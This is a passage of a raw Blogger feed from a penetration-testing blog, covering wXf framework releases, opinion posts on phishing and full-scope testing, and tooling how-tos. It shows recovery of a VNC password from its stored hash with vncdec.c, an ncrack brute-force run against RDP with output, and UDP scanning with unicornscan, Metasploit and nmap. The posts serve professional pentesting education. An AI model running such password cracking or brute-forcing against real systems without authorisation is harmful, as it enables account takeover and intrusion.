hardcoded (0x238210763578887) and since VNC is open source...&lt;br /&gt;&lt;br /&gt;code here:&lt;br /&gt;http://packetstormsecurity.org/files/view/10159/vncdec.&lt;br /&gt;&lt;br /&gt;change the relevant section&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family: courier new;"&gt;/* put your password hash here in p[] */&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;&lt;br /&gt;char p[]={0x59,0x58,0x6e,0x10,0xa4,0x48,0xd3,0x80};&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;getvncpw spit out: 3290e903b5bf3769&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;char p[]={0x32,0x90,0xe9,0x03,0xb5,0xbf,0x37,0x69};&lt;br /&gt;&lt;br /&gt;cg@segfault:~/pentest$ gcc vncdec.c -o vncdec&lt;br /&gt;cg@segfault:~/pentest$ ./vncdec&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;demopass&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;or  use this one&lt;br /&gt;http://www.consume.org/~jshare/vncdec.c&lt;br /&gt;&lt;br /&gt;where you can just put your hash on the command line and don't have to recompile every time.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8539880144347728238-6221071571134146716?l=carnal0wnage.attackresearch.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://carnal0wnage.attackresearch.com/feeds/6221071571134146716/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8539880144347728238&amp;postID=6221071571134146716' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/6221071571134146716'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/6221071571134146716'/><link rel='alternate' type='text/html' href='http://carnal0wnage.attackresearch.com/2011/03/vnc-passwords-and-metasploit-and-des.html' title='VNC passwords and Metasploit and DES'/><author><name>CG</name><uri>http://www.blogger.com/profile/11061967917509053185</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='21' src='http://2.bp.blogspot.com/_bgJlT6eWjGg/SUWqYCLeW0I/AAAAAAAAAY8/tQezLhC2few/S220/toorcongates.JPG'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8539880144347728238.post-3281892327192204496</id><published>2011-02-10T15:15:00.000-05:00</published><updated>2011-06-24T15:27:59.829-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='cktricky'/><title type='text'>wXf released, thoughts, comments</title><content type='html'>Today we've released the beta version (rough, rough version) of wXf by making the repository public. Over the last year we've worked on this code in an "on again - off again" fashion. Since we've started the project we've learned a lot. I know I've personally learned a ton about Ruby and Metaprogramming (check out Paola Perrotta's book if you get a chance). We've rewritten the code several times but we've reached the point where it is at least stable enough to release. Now others have the chance to improve on it.&lt;br /&gt;&lt;br /&gt;We've gotten loads of feedback from the beta group (consisting of a few volunteers) which has helped us tremendously with some of the usability and documentation. Additionally, we've started to gauge what people do and do not want to see. We know that the AppSec community doesn't want another point and click tool and certainly doesn't need another scanner.&lt;br /&gt;&lt;br /&gt;The biggest question posed to us over the last 11 months was "Why not merge with (insert framework here)&lt;insert framework="" here=""&gt;". The answer is actually incredibly simple and is the basis for why we created the software. We'd like the community of testers/consultants/developers/etc to decide what they want to see most.&amp;nbsp;&lt;/insert&gt;&lt;br /&gt;&lt;br /&gt;To have the ability to adapt an entire framework to the user base and change it as needed is only feasible if we a) have total flexibility in modifying ANY portion of the code and b) aren't pigeonholed into just one area of focus (exploitation, scanning).&lt;br /&gt;&lt;br /&gt;Whether it be source code review, exploitation, enumeration, fuzzing modules, phishing, mobile appsec or whatever else.......... we'd like to glue together some of the ideas and scripts of the community at large. So please contribute. Submit bugs, provide feedback, &amp;nbsp;help with the wiki &amp;nbsp;or develop modules. Every little bit counts.&lt;br /&gt;&lt;br /&gt;&lt;a href="https://github.com/WebExploitationFramework/wXf"&gt;wXf GitHub Page&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Thanks!&lt;br /&gt;&lt;br /&gt;Ken&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8539880144347728238-3281892327192204496?l=carnal0wnage.attackresearch.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://carnal0wnage.attackresearch.com/feeds/3281892327192204496/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8539880144347728238&amp;postID=3281892327192204496' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/3281892327192204496'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/3281892327192204496'/><link rel='alternate' type='text/html' href='http://carnal0wnage.attackresearch.com/2011/02/wxf-released-thoughts-comments.html' title='wXf released, thoughts, comments'/><author><name>cktricky</name><uri>http://www.blogger.com/profile/16815248087217800849</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/--K0zI_slcV8/TgT5x_k1FlI/AAAAAAAAAU4/OC192luGV7k/s220/myphoto.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8539880144347728238.post-2107070944878493273</id><published>2011-02-09T18:41:00.003-05:00</published><updated>2011-02-09T18:55:40.338-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Pentesting'/><title type='text'>move over tsgrinder/tscrack hello ncrack!</title><content type='html'>So thanks to mubix for telling me that &lt;a href="http://nmap.org/ncrack/"&gt;ncrack&lt;/a&gt; now supports RDP.  very cool stuff.&lt;br /&gt;&lt;br /&gt;&lt;span style=";font-family:courier new;font-size:78%;"  &gt;user@ubuntu:~/pentest/ncrack$ ncrack -vv -d7 --user administrator 192.168.1.100:3389,CL=10&lt;br /&gt;&lt;br /&gt;Fetchfile found /usr/local/share/ncrack/default.pwd&lt;br /&gt;&lt;br /&gt;Starting Ncrack 0.3ALPHA ( http://ncrack.org ) at 2011-02-09 15:28 PST&lt;br /&gt;&lt;br /&gt;rdp://192.168.1.100:3389 (EID 1) Login failed: 'administrator' '123456'&lt;br /&gt;rdp://192.168.1.100:3389 (EID 1) Attempts: total 1 completed 1 supported 1 --- rate 0.96&lt;br /&gt;...&lt;br /&gt;rdp://192.168.1.100:3389 (EID 1518) Login failed: 'administrator' 'pitbull'&lt;br /&gt;rdp://192.168.1.100:3389 (EID 1518) Attempts: total 1519 completed 1513 supported 1 --- rate 3.10&lt;br /&gt;rdp://192.168.1.100:3389 (EID 1520) Login failed: 'administrator' 'geraldine'&lt;br /&gt;rdp://192.168.1.100:3389 (EID 1520) Attempts: total 1520 completed 1514 supported 1 --- rate 3.17&lt;br /&gt;rdp://192.168.1.100:3389 (EID 1522) Login failed: 'administrator' 'allstar'&lt;br /&gt;rdp://192.168.1.100:3389 last: 0.00 current 0.00 parallelism 10&lt;br /&gt;rdp://192.168.1.100:3389 Increasing connection limit to: 10&lt;br /&gt;rdp://192.168.1.100:3389 (EID 1522) Attempts: total 1521 completed 1515 supported 1 --- rate 3.00&lt;br /&gt;...&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Keep in mind that against XP you can only have one connection at a time so you'll have to set your Connection Limit  value to 1 (CL=1)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8539880144347728238-2107070944878493273?l=carnal0wnage.attackresearch.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://carnal0wnage.attackresearch.com/feeds/2107070944878493273/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8539880144347728238&amp;postID=2107070944878493273' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/2107070944878493273'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/2107070944878493273'/><link rel='alternate' type='text/html' href='http://carnal0wnage.attackresearch.com/2011/02/move-over-tsgrindertscrack-hello-ncrack.html' title='move over tsgrinder/tscrack hello ncrack!'/><author><name>CG</name><uri>http://www.blogger.com/profile/11061967917509053185</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='21' src='http://2.bp.blogspot.com/_bgJlT6eWjGg/SUWqYCLeW0I/AAAAAAAAAY8/tQezLhC2few/S220/toorcongates.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8539880144347728238.post-3451826335185096245</id><published>2011-02-03T16:18:00.000-05:00</published><updated>2011-06-24T15:27:59.829-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='cktricky'/><title type='text'>wXf presentation video</title><content type='html'>As an update, wXf is almost ready to move forward with it's first release. Hopefully the software is what folks expected as we are still learning from and adapting to the beta group's feedback.&lt;br /&gt;&lt;br /&gt;In the meantime, if you couldn't attend AppSec DC 2010, here is the video of &amp;nbsp;the presentation Chris Gates, Seth Law and I put together. Unfortunately Seth Law could not make it due to a prior engagement but nevertheless contributed to the content.&lt;br /&gt;&lt;br /&gt;Make sure to check out all of the great presentations that AppSec DC had under the asdc10 group on vimeo. Doug Wilson and Mark Bristow did a fantastic job organizing this conference and my hat goes off to them.&lt;br /&gt;&lt;br /&gt;&lt;iframe frameborder="0" height="300" src="http://player.vimeo.com/video/19104630" width="400"&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;a href="http://vimeo.com/groups/76797/videos/19104630"&gt;wxf: Web Exploitation Framework with Ken Johnson, Fishnet Security and Chris Gates, No Affiliation.&lt;/a&gt; from &lt;a href="http://vimeo.com/owaspdc"&gt;OWASP DC&lt;/a&gt; on &lt;a href="http://vimeo.com/"&gt;Vimeo&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8539880144347728238-3451826335185096245?l=carnal0wnage.attackresearch.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://carnal0wnage.attackresearch.com/feeds/3451826335185096245/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8539880144347728238&amp;postID=3451826335185096245' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/3451826335185096245'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/3451826335185096245'/><link rel='alternate' type='text/html' href='http://carnal0wnage.attackresearch.com/2011/02/wxf-presentation-video.html' title='wXf presentation video'/><author><name>cktricky</name><uri>http://www.blogger.com/profile/16815248087217800849</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/--K0zI_slcV8/TgT5x_k1FlI/AAAAAAAAAU4/OC192luGV7k/s220/myphoto.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8539880144347728238.post-5854739479265177470</id><published>2011-01-26T11:34:00.001-05:00</published><updated>2011-01-26T11:34:00.395-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='opinion'/><title type='text'>Reactions to comments from Val's post #1</title><content type='html'>received this comment to Val's post&lt;br /&gt;&lt;br /&gt;"Submitted by Anonymous on Tue, 01/04/2011 - 09:33.&lt;br /&gt;&lt;a href="http://carnal0wnage.attackresearch.com/node/440#comment-3419" class="active"&gt;The problem with pentesters phishing ...&lt;/a&gt;       &lt;p&gt;The problem with pentesters phishing ... is that it does more  harm then good for the organization.  Without the education piece  following a phish, you setup the organization to ban the practice."&lt;/p&gt;         Phishing and client-side attacks have been going on for far too long to not allow your testers to use them during test.**&lt;br /&gt;&lt;br /&gt;So on one hand you are correct, every phishing exercise done either by an internal team, pentester, or attacker should be followed by an &lt;a href="http://www.sonicwall.com/phishing/"&gt;education piece&lt;/a&gt; by your internal security/IT team.   Every phishing attack is an opportunity to retrain users.&lt;br /&gt;&lt;br /&gt;On the other other hand, its how people get in.  To broadly call it useless because 1. you are too lazy to educate your users after the fact or 2. didn't think ahead enough to require the PT shop to leave you with education materials or follow up the phish with an education piece doesn't mean it lacks value.&lt;br /&gt;&lt;br /&gt;Like I mentioned in the previous post, you need to know how you are going to stand up in realistic scenarios.  Does one client-side 0day leave your whole network open to all sorts of badness? you need to know.&lt;br /&gt;&lt;br /&gt;**This is assuming that the company's maturity level supports doing a phishing exercise.  If your internal security just plain sucks, then you could probably win the argument that no phishing should be conducted but I would counter with why are you getting a Pentest in the first place if things are that bad. Use those consulting dollars to have the consultant help you with your risk plan, internal vulnerability scanning/patching program, workstation/server hardening or teaching you how to scan your internal assets yourself.  To steal a &lt;a href="http://twitter.com/indi303"&gt;Nickerson&lt;/a&gt; analogy..."how do you know you can put up a fight if you cant take punch" BUT that doesnt mean you start out getting your ass kicked by starting training with [INSERT MMA BADASS HERE] instead of working your way up.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8539880144347728238-5854739479265177470?l=carnal0wnage.attackresearch.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://carnal0wnage.attackresearch.com/feeds/5854739479265177470/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8539880144347728238&amp;postID=5854739479265177470' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/5854739479265177470'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/5854739479265177470'/><link rel='alternate' type='text/html' href='http://carnal0wnage.attackresearch.com/2011/01/reactions-to-comments-from-vals-post-1.html' title='Reactions to comments from Val&apos;s post #1'/><author><name>CG</name><uri>http://www.blogger.com/profile/11061967917509053185</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='21' src='http://2.bp.blogspot.com/_bgJlT6eWjGg/SUWqYCLeW0I/AAAAAAAAAY8/tQezLhC2few/S220/toorcongates.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8539880144347728238.post-7039837934586479021</id><published>2011-01-24T09:02:00.002-05:00</published><updated>2011-01-25T16:36:23.850-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Pentesting'/><category scheme='http://www.blogger.com/atom/ns#' term='Full Scope Testing'/><title type='text'>Training Like You Fight</title><content type='html'>One of my favorite talks from this year's BlackHat DC was  Ryan Kazanciyan's &amp;amp; Sean Coyne's "The Getaway" talk on data exfiltration.&lt;br /&gt;&lt;br /&gt;whitepaper:&lt;br /&gt;&lt;a href="https://media.blackhat.com/bh-dc-11/Coyne/BlackHat_DC_2011_Coyne_Gateway-wp.pdf"&gt;https://media.blackhat.com/bh-dc-11/Coyne/BlackHat_DC_2011_Coyne_Gateway-wp.pdf&lt;/a&gt;&lt;br /&gt;slides:&lt;br /&gt;&lt;a href="https://media.blackhat.com/bh-dc-11/Coyne/BlackHat_DC_2011_Coyne_Gateway-Slides.pdf"&gt;https://media.blackhat.com/bh-dc-11/Coyne/BlackHat_DC_2011_Coyne_Gateway-Slides.pdf&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Everyone should check out the slides and the whitepaper although the slides are better with the case studies and the diagrams.  When you check out the slides I encourage you to think about your last pentest and:&lt;br /&gt;1. could your pentest shop emulate an attacker of the level in the case studies. &lt;br /&gt;2. did you or they try to scope the test in order to test things like this...aka do a Full Scope test.&lt;br /&gt;3. if you aren't letting your pentesters go after your network like this how do you think YOUR network will hold up against someone that knows what they are doing?&lt;br /&gt;&lt;br /&gt;If you ARE a pentester when was the last time you got the time and scope to do something on the order of these attacks and post exploitation activities from the case studies?&lt;br /&gt;&lt;br /&gt;We are getting great at &lt;a href="http://www.sourceconference.com/publications/bos10pubs/10-04-SOURCE-DetectingPenTesters.pptx"&gt;catching our penetration testers  &lt;/a&gt;(&lt;a href="http://www.securitytube.net/How-to-Detect-Penetration-Testers-%28SOURCE-Boston-2010%29-video.aspx"&gt;video&lt;/a&gt;) but still horrible at catching bad guys.  Rather than draining your corporate bank account to have some shop come in and help you clean up your mess and you've discovered someone stealing everything you own... 1. pick a Full Scope shop that can emulate advanced attackers and not just &lt;a href="http://carnal0wnage.attackresearch.com/node/440"&gt;script kiddies with a checkbook&lt;/a&gt; and 2. train like you fight, open the scope for your test, give your testers time to conduct a REAL test, and let your pentesters go after it like a real bad guy would.&lt;br /&gt;&lt;br /&gt;Instead of making your testers "test' that same 500 hosts out of 10,000 hosts with no client-sides or user interaction allowed...ask, make, force, them to conduct an end-to-end test of the expensive black boxes you have sitting in the rack, your user education, your network segmentation, and your NOC/SOC's ability to test and respond to attacks.  Better to find out you suck during your test instead of when someone is stealing everything that makes you money.&lt;br /&gt;&lt;br /&gt;Train like you fight.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8539880144347728238-7039837934586479021?l=carnal0wnage.attackresearch.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://carnal0wnage.attackresearch.com/feeds/7039837934586479021/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8539880144347728238&amp;postID=7039837934586479021' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/7039837934586479021'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/7039837934586479021'/><link rel='alternate' type='text/html' href='http://carnal0wnage.attackresearch.com/2011/01/training-like-you-fight.html' title='Training Like You Fight'/><author><name>CG</name><uri>http://www.blogger.com/profile/11061967917509053185</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='21' src='http://2.bp.blogspot.com/_bgJlT6eWjGg/SUWqYCLeW0I/AAAAAAAAAY8/tQezLhC2few/S220/toorcongates.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8539880144347728238.post-2827265874502303926</id><published>2011-01-09T11:37:00.012-05:00</published><updated>2011-01-09T13:43:59.614-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='unicornscan'/><category scheme='http://www.blogger.com/atom/ns#' term='scanning'/><category scheme='http://www.blogger.com/atom/ns#' term='Metasploit'/><title type='text'>Installing Unicornscan on a current Ubuntu Distro</title><content type='html'>So get unicornscan from here :&lt;br /&gt;&lt;br /&gt;&lt;a href="http://unicornscan.org/"&gt;http://unicornscan.org/&lt;/a&gt; -- current version I could find is 0.4.7&lt;br /&gt;&lt;br /&gt;you'll need some depenedencies&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;apt-get install flex bison&lt;br /&gt;&lt;br /&gt;apt-get install libpcap0.8-dev libgeoip-dev libltdl3-dev libdumbnet1 libdumbnet-dev&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;* you may need texlive-extra-utils if you are on a headless system like slicehost or linode, otherwise it will bomb out when it tries to make the documentation :-(&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;apt-get install texlive-extra-utils&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;Fix up weird lib issues see at the bottom for where i got this:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;blah@blah:$ sudo ln -s /usr/include/dumbnet.h /usr/include/dnet.h&lt;br /&gt;&lt;br /&gt;blah@blah:$ for i in `find ./ -type f -exec grep -l 'ldnet' '{}' \;`; do sed -i bak -e 's/ldnet/ldumbnet/g' $i; done&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;apply this patch&lt;br /&gt;&lt;br /&gt;&lt;a href="https://www.pentoo.ch/pentoo/browser/portage/trunk/net-analyzer/unicornscan/files/unicornscan-0.4.7-configure.patch"&gt;https://www.pentoo.ch/pentoo/browser/portage/trunk/net-analyzer/unicornscan/files/unicornscan-0.4.7-configure.patch&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;./configure CFLAGS=-D_GNU_SOURCE&lt;br /&gt;make&lt;br /&gt;make install&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;after that it woud compile and run.&lt;br /&gt;&lt;br /&gt;I did have to really crank down the pps to get it to actually run, default is 300 i had to use around 75-100&lt;br /&gt;&lt;br /&gt;sudo unicornscan -m U -Ir 75 --show-errors -v externalrange.net/24&lt;br /&gt;&lt;br /&gt;Lets test ...&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;host #1 &lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;sudo unicornscan -m U -Ir 75 -v 192.168.1.143&lt;br /&gt;&lt;br /&gt;adding 192.168.1.143/32 mode `UDPscan' ports `7,9,11,13,17,19,20,37,39,42,49,52-54,65-71,81,111,161,123,136-170,514-518,630,631,636-640,650,653,921,1023-1030,1900,2048-2050,27900,27960,32767-32780,32831' pps 75&lt;br /&gt;using interface(s) eth0&lt;br /&gt;&lt;br /&gt;UDP open domain[ 53] from 192.168.1.143 ttl 50&lt;br /&gt;UDP open netbios-ns[ 137] from 192.168.1.143 ttl 50&lt;br /&gt;UDP open unknown[51468] from 192.168.1.143 ttl 50&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;msf auxiliary(udp_sweep) &gt; run&lt;br /&gt;&lt;br /&gt;[*] Sending 10 probes to 192.168.1.143-&gt;192.168.1.143 (1 hosts)&lt;br /&gt;[*] Discovered NTP on 192.168.1.143:123 (NTP v4)&lt;br /&gt;[*] Discovered NetBIOS on 192.168.1.143:137 (INEEDAFW01:&lt;00&gt;:U :INEEDAFW01:&lt;03&gt;:U :INEEDAFW01:&lt;20&gt;:U :__MSBROWSE__:&lt;01&gt;:G :WORKGROUP:&lt;1d&gt;:U :WORKGROUP:&lt;1e&gt;:G :WORKGROUP:&lt;00&gt;:G :00:00:00:00:00:00)&lt;br /&gt;[*] Discovered DNS on 192.168.1.143:53 (BIND 9.4.2-P2)&lt;br /&gt;[*] Scanned 1 of 1 hosts (100% complete)&lt;br /&gt;[*] Auxiliary module execution completed&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;sudo nmap -sU 192.168.1.143&lt;br /&gt;PORT STATE SERVICE&lt;br /&gt;53/udp open domain&lt;br /&gt;69/udp openfiltered tftp&lt;br /&gt;123/udp open ntp&lt;br /&gt;137/udp open netbios-ns&lt;br /&gt;138/udp openfiltered netbios-dgm&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;*took approx 13 min for results&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Host #2&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;sudo unicornscan -m U -Ir 75 -v 192.168.1.94&lt;br /&gt;UDP open sunrpc[ 111] from 192.168.1.94 ttl 50&lt;br /&gt;UDP open shilp[ 2049] from 192.168.1.94 ttl 50&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;msf auxiliary(udp_sweep) &gt; run&lt;br /&gt;&lt;br /&gt;[*] Sending 10 probes to 192.168.1.94-&gt;192.168.1.94 (1 hosts)&lt;br /&gt;[*] Discovered Portmap on 192.168.1.94:111 (100000 v2 TCP(111), 100000 v2 UDP(111), 100024 v1 UDP(35483), 100024 v1 TCP(34855), 100003 v2 UDP(2049), 100003 v3 UDP(2049), 100003 v4 UDP(2049), 100021 v1 UDP(51021), 100021 v3 UDP(51021), 100021 v4 UDP(51021), 100003 v2 TCP(2049), 100003 v3 TCP(2049), 100003 v4 TCP(2049), 100021 v1 TCP(32771), 100021 v3 TCP(32771), 100021 v4 TCP(32771), 100005 v1 UDP(54730), 100005 v1 TCP(50729), 100005 v2 UDP(54730), 100005 v2 TCP(50729), 100005 v3 UDP(54730), 100005 v3 TCP(50729))&lt;br /&gt;[*] Scanned 1 of 1 hosts (100% complete)&lt;br /&gt;[*] Auxiliary module execution completed&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;sudo nmap -sU 192.168.1.94 -v&lt;br /&gt;PORT STATE SERVICE&lt;br /&gt;111/udp open rpcbind&lt;br /&gt;639/udp openfiltered unknown&lt;br /&gt;2049/udp open nfs&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;*took approx 14 min&lt;br /&gt;&lt;br /&gt;Quick notes:&lt;br /&gt;unicornscan sucks for NTP, the metasploit udp_sweep is better even though the port is in the scan list it fails to locate NTP servers&lt;br /&gt;&lt;br /&gt;you'll probably want to add some port to the /usr/local/etc/unicornscan/unicorn.conf file in the UDP section, namely 1434,1604,5093,&amp;amp; 523 to be consistent for what metasploit is sending probes for.&lt;br /&gt;&lt;br /&gt;you may also want to update the ports list in the above folder to be les stupid as well.&lt;br /&gt;&lt;br /&gt;In this case nmap gave consistent results, just took forever&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;compile stuff from here:&lt;br /&gt;http://itbloggen.se/cs/blogs/olle_lindgren/archive/2009/01/08/unicornscan-on-ubuntu-8-10-intrepid-ibex.aspx?CommentPosted=true#commentmessage&lt;br /&gt;&lt;br /&gt;http://geek00l.blogspot.com/2009/01/ubuntu-unicornscan-revisit.html&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8539880144347728238-2827265874502303926?l=carnal0wnage.attackresearch.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://carnal0wnage.attackresearch.com/feeds/2827265874502303926/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8539880144347728238&amp;postID=2827265874502303926' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/2827265874502303926'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/2827265874502303926'/><link rel='alternate' type='text/html' href='http://carnal0wnage.attackresearch.com/2011/01/installing-unicornscan-on-current.html' title='Installing Unicornscan on a current Ubuntu Distro'/><author><name>CG</name><uri>http://www.blogger.com/profile/11061967917509053185</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='21' src='http://2.bp.blogspot.com/_bgJlT6eWjGg/SUWqYCLeW0I/AAAAAAAAAY8/tQezLhC2few/S220/toorcongates.JPG'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8539880144347728238.post-2515808549710630574</id><published>2011-01-04T12:06:00.000-05:00</published><updated>2011-06-24T15:27:59.829-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='cktricky'/><title type='text'>SOAP functionality added to wXf</title><content type='html'>We've pre-packaged SOAP libs and wrappers in wXf and created a couple modules to demonstrate this functionality. The framework is undergoing beta testing and improvements before release. Also, we are adding a couple web specific libs prior to release (or at least trying).&lt;br /&gt;&lt;br /&gt;Anyway, here is a video that demos the two modules mentioned above.&lt;br /&gt;&lt;br /&gt;&lt;iframe frameborder="0" height="300" src="http://player.vimeo.com/video/18431489" width="400"&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;a href="http://vimeo.com/18431489"&gt;wXf - WSDL File Enumeration, SOAP Request&lt;/a&gt; from &lt;a href="http://vimeo.com/user2590597"&gt;cktricky&lt;/a&gt; on &lt;a href="http://vimeo.com/"&gt;Vimeo&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8539880144347728238-2515808549710630574?l=carnal0wnage.attackresearch.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://carnal0wnage.attackresearch.com/feeds/2515808549710630574/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8539880144347728238&amp;postID=2515808549710630574' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/2515808549710630574'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/2515808549710630574'/><link rel='alternate' type='text/html' href='http://carnal0wnage.attackresearch.com/2011/01/soap-functionality-added-to-wxf.html' title='SOAP functionality added to wXf'/><author><name>cktricky</name><uri>http://www.blogger.com/profile/16815248087217800849</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/--K0zI_slcV8/TgT5x_k1FlI/AAAAAAAAAU4/OC192luGV7k/s220/myphoto.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8539880144347728238.post-8524532462691696064</id><published>2010-12-17T15:24:00.007-05:00</published><updated>2010-12-17T15:38:57.131-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='VNC'/><category scheme='http://www.blogger.com/atom/ns#' term='Metasploit'/><title type='text'>Metasploit and VNC Password Bruteforcing</title><content type='html'>You probably missed it but jduck recently snuck in a VNC mixin and vnc_login module to the trunk.&lt;br /&gt;&lt;br /&gt;This is awesome because before that I had to use Immunity's 